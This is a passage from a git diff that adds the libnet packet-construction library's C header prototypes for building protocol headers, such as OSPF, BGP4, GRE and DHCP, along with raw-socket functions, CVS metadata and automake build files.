+u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop,
+u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num,
+u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength,
+u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id,
+u_int16_t port_id, u_int16_t message_age, u_int16_t max_age,
+u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst,
+u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type,
+libnet_t *l);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id,
+u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int,
+u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos,
+u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode,
+u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int,
+u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac,
+u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac,
+u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int,
+u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id,
+u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts,
+u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr,
+u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type,
+u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsr(u_int type, u_int lsid, u_int32_t advrtr,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsu(u_int num, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type,
+u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int id,
+u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int rtrid, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int metric, u_int tos,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr,
+u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+inline u_int32_t libnet_gre_length(u_int16_t fv);
+
+#define libnet_egre_length libnet_gre_length
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t checksum,
+u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+#define libnet_build_egre libnet_build_gre
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length,
+u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE],
+u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time,
+u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt,
+u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len,
+u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_link(u_int8_t *dst, u_int16_t type, libnet_t *l);
+
+int
+libnet_write(libnet_t *l);
+
+int
+libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+int
+libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+#if ((__WIN32__) && !(__CYGWIN__))
+SOCKET
+libnet_open_raw4(libnet_t *l);
+#else
+int
+libnet_open_raw4(libnet_t *l);
+#endif
+
+int
+libnet_close_raw4(libnet_t *l);
+
+int
+libnet_open_raw6(libnet_t *l);
+
+int
+libnet_close_raw6(libnet_t *l);
+
+int
+libnet_select_device(libnet_t *l);
+
+int
+libnet_open_link(libnet_t *l);
+
+int
+libnet_close_link(libnet_t *l);
+
+u_int32_t
+libnet_get_ipaddr4(libnet_t *l);
+
+struct libnet_in6_addr
+libnet_get_ipaddr6(libnet_t *l);
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l);
+
+int
+libnet_do_checksum(libnet_t *l, u_int8_t *packet, int protocol, int len);
+
+u_int32_t
+libnet_compute_crc(u_int8_t *buf, u_int32_t len);
+
+u_int16_t
+libnet_ip_check(u_int16_t *addr, int len);
+
+int
+libnet_in_cksum(u_int16_t *addr, int len);
+
+
+/*
+ * libnet_pblock_probe
+ *
+ * If ptag is 0, function will create a pblock for the protocol unit type,
+ * append it to the list and return a pointer to it. If ptag is not 0,
+ * function will search the pblock list for the specified protocol block
+ * and return a pointer to it.
+ */
+libnet_pblock_t *
+libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n,
+u_int8_t type);
+
+/*
+ * libnet_pblock_new
+ *
+ * Function creates the pblock list if l->protocol_blocks == NULL or appends
+ * an entry to the doubly linked list.
+ */
+libnet_pblock_t *
+libnet_pblock_new(libnet_t *l, u_int32_t size);
+
+
+/*
+ * libnet_pblock_swap
+ *
+ * Function swaps two pblocks in memory.
+ */
+int
+libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2);
+
+
+/*
+ * libnet_pblock_insert_before
+ *
+ * Function inserts a pblock into the doubly linked list.
+ */
+int
+libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1,
+libnet_ptag_t ptag2);
+
+/*
+ * libnet_pblock_delete
+ *
+ * Function removes a pblock from context
+ */
+void
+libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p);
+
+/*
+ * libnet_pblock_update
+ *
+ * Function updates the pblock meta-inforation. Internally it updates the
+ * ptag with a monotonically increasing variable kept in l. This way each
+ * pblock has a succesively increasing ptag identifier.
+ */
+libnet_ptag_t
+libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h,
+u_int8_t type);
+
+
+/*
+ * libnet_pblock_find
+ *
+ * Function locates a given block by it's ptag.
+ */
+libnet_pblock_t *
+libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag);
+
+
+/*
+ * libnet_pblock_append
+ *
+ * Function copies protocol block data over.
+ */
+int
+libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf,
+u_int32_t len);
+
+
+/*
+ * libnet_pblock_setflags
+ *
+ * Function sets pblock flags.
+ */
+void
+libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags);
+
+
+/*
+ * libnet_pblock_p2p
+ *
+ * Function returns the protocol number for the protocol block type. If
+ * the type is unknown, the function defaults to returning IPPROTO_IP.
+ */
+int
+libnet_pblock_p2p(u_int8_t type);
+
+
+/*
+ * libnet_pblock_coalesce
+ *
+ * Function assembles the packet for subsequent writing. Function makes two
+ * passes through the pblock list:
+ * 1st & 2nd) determine total size of the packet for contiguous malloc
+ * and copy over packet chunks
+ * 3rd run) run through the original list and see which protocol blocks had
+ * the checksum flag set (checksums usually need to be done over
+ * an assembled packet so it's easier to do it here)
+ */
+int
+libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size);
+
+
+/*
+ * __libnet_dump_context
+ *
+ * Function returns the contents of the libnet file context. Not meant for
+ * the applications programer.
+ */
+void
+__libnet_dump_context(libnet_t *l);
+
+/*
+ * __libnet_dump_pblock
+ *
+ * Function returns the contents of each pblock in a given context. Not meant
+ * for the applications programer.
+ */
+void
+__libnet_dump_pblock(libnet_t *l);
+
+/*
+ * __libnet_dump_pblock_type
+ *
+ * Function returns a canonical string referring to the pblock type.
+ */
+int8_t *
+__libnet_dump_pblock_type(u_int8_t type);
+
+/*
+ * __libnet_hex_dump
+ *
+ * Function dumps the contents of the supplied buffer to the supplied
+ * stream pointer. Very useful for debugging. Will swap endianness based
+ * disposition of mode variable. Use requires unwrapping the libnet file
+ * context structure so it's hidden down here. If you find it, consider
+ * yourself a trepid adventurer.
+ */
+void
+__libnet_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream);
+
+
+/*
+ * libnet_hex_aton
+ *
+ * hexidecimal strings of the format "##:##:##:## ... :##:##" to a uint8_t.
+ *
+ */
+u_int8_t *
+libnet_hex_aton(int8_t *s, int *len);
+
+/*
+ * libnet_adv_cull_packet
+ *
+ * advanced interface, culls the packet from inside libnet, wraps
+ * libnet_pblock_coalesce().
+ *
+ */
+int
+libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s);
+
+/*
+ * libnet_adv_cull_header
+ *
+ * advanced interface, culls the header from referenced ptag from inside
+ * libnet.
+ *
+ */
+int
+libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,
+u_int32_t *header_s);
+
+/*
+ * libnet_adv_write_link
+ *
+ * advanced interface, writes a prebuilt frame to the wire
+ *
+ */
+int
+libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s);
+
+/*
+ * libnet_cq_add
+ *
+ * Function adds a context to the libnet context queue.
+ */
+int
+libnet_cq_add(libnet_t *l, char *label);
+
+/*
+ * libnet_cq_remove
+ *
+ * Function removes a context from the libnet context queue.
+ *
+ */
+libnet_t *
+libnet_cq_remove(libnet_t *l);
+
+/*
+ * libnet_cq_remove_by_label
+ *
+ * Function removes a libnet context from the queue, indexed by it's
+ * canonical label.
+ */
+libnet_t *
+libnet_cq_remove_by_label(char *label);
+
+/*
+ * libnet_cq_getlabel
+ *
+ * Function returns the label (if any) associated with the context.
+ */
+int8_t *
+libnet_cq_getlabel(libnet_t *l);
+
+/*
+ * libnet_cq_find_by_label
+ *
+ * Function locates a libnet context from the queue, indexed by it's
+ * canonical label.
+ *
+ */
+libnet_t *
+libnet_cq_find_by_label(char *label);
+
+/*
+ * libnet_cq_destroy
+ *
+ * Function destroys the entire context queue, calling libnet_destory() on
+ * each member context.
+ */
+void libnet_cq_destroy();
+
+/*
+ * libnet_cq_head
+ *
+ * Function intiailizes the interator interface and sets a write lock on
+ * the context queue.
+ */
+libnet_t *
+libnet_cq_head();
+
+/*
+ * libnet_cq_head
+ *
+ * Function returns 1 if at the end of the context queue, 0 otherwise.
+ */
+int
+libnet_cq_last();
+
+/*
+ * libnet_cq_head
+ *
+ * Function returns the next context from the context queue.
+ */
+libnet_t *
+libnet_cq_next();
+
+/*
+ * libnet_cq_size
+ *
+ * Function returns the number of entries in the context queue.
+ */
+u_int32_t
+libnet_cq_size();
+
+/*
+ * libnet_check_iface
+ *
+ * By testing if we can retrieve the FLAGS of an iface
+ * we can know if it exists or not and if it is up.
+ */
+int
+libnet_check_iface(libnet_t *l);
+
+
+#if defined(__WIN32__)
+BYTE *
+libnet_win32_get_remote_mac(libnet_t *l, DWORD IP);
+int
+libnet_close_link_interface(libnet_t *l);
+BYTE *
+libnet_win32_read_arp_table(DWORD IP);
+#endif
+#endif /* __LIBNET_FUNCTIONS_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/CVS/Entries b/libnet/include/libnet/CVS/Entries
new file mode 100644
index 0000000..c7a7da3
--- /dev/null
+++ b/libnet/include/libnet/CVS/Entries
@@ -0,0 +1,9 @@
+/Makefile.am/1.2/Sat Oct 18 17:20:03 2003//
+/libnet-types.h/1.3/Sat Jan 3 20:31:00 2004//
+/libnet-asn1.h/1.3/Sat Jan 17 07:51:19 2004//
+/libnet-macros.h/1.6/Mon Mar 1 20:26:12 2004//
+/Makefile.in/1.14/Thu Mar 11 18:50:20 2004//
+/libnet-headers.h/1.14/Thu Mar 11 18:50:20 2004//
+/libnet-structures.h/1.18/Tue Mar 16 18:40:58 2004//
+/libnet-functions.h/1.42/Thu Mar 25 18:50:48 2004//
+D
diff --git a/libnet/include/libnet/CVS/Repository b/libnet/include/libnet/CVS/Repository
new file mode 100644
index 0000000..928f449
--- /dev/null
+++ b/libnet/include/libnet/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/include/libnet
diff --git a/libnet/include/libnet/CVS/Root b/libnet/include/libnet/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/include/libnet/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/include/libnet/Makefile.am b/libnet/include/libnet/Makefile.am
new file mode 100644
index 0000000..ef43b53
--- /dev/null
+++ b/libnet/include/libnet/Makefile.am
@@ -0,0 +1,12 @@
+# $Id: Makefile.am,v 1.2 2003/10/18 17:20:03 mike Exp $
+
+include $(top_srcdir)/Makefile.am.common
+
+libnetincludedir = $(includedir)/libnet
+
+libnetinclude_HEADERS = libnet-asn1.h \
+ libnet-functions.h \
+ libnet-headers.h \
+ libnet-macros.h \
+ libnet-structures.h \
+ libnet-types.h
diff --git a/libnet/include/libnet/Makefile.in b/libnet/include/libnet/Makefile.in
new file mode 100644
index 0000000..7be8368
--- /dev/null
+++ b/libnet/include/libnet/Makefile.in
@@ -0,0 +1,294 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.14 2004/03/11 18:50:20 mike Exp $
+
+# $Id: Makefile.in,v 1.14 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+libnetincludedir = $(includedir)/libnet
+
+libnetinclude_HEADERS = libnet-asn1.h \
+ libnet-functions.h \
+ libnet-headers.h \
+ libnet-macros.h \
+ libnet-structures.h \
+ libnet-types.h
+
+subdir = include/libnet
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/include/config.h
+CONFIG_CLEAN_FILES =
+depcomp =
+am__depfiles_maybe =
+DIST_SOURCES =
+HEADERS = $(libnetinclude_HEADERS)
+
+DIST_COMMON = $(libnetinclude_HEADERS) Makefile.am Makefile.in
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign include/libnet/Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)
+uninstall-info-am:
+libnetincludeHEADERS_INSTALL = $(INSTALL_HEADER)
+install-libnetincludeHEADERS: $(libnetinclude_HEADERS)
+ @$(NORMAL_INSTALL)
+ $(mkinstalldirs) $(DESTDIR)$(libnetincludedir)
+ @list='$(libnetinclude_HEADERS)'; for p in $$list; do \
+ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+ f="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " $(libnetincludeHEADERS_INSTALL) $$d$$p $(DESTDIR)$(libnetincludedir)/$$f"; \
+ $(libnetincludeHEADERS_INSTALL) $$d$$p $(DESTDIR)$(libnetincludedir)/$$f; \
+ done
+
+uninstall-libnetincludeHEADERS:
+ @$(NORMAL_UNINSTALL)
+ @list='$(libnetinclude_HEADERS)'; for p in $$list; do \
+ f="`echo $$p | sed -e 's|^.*/||'`"; \
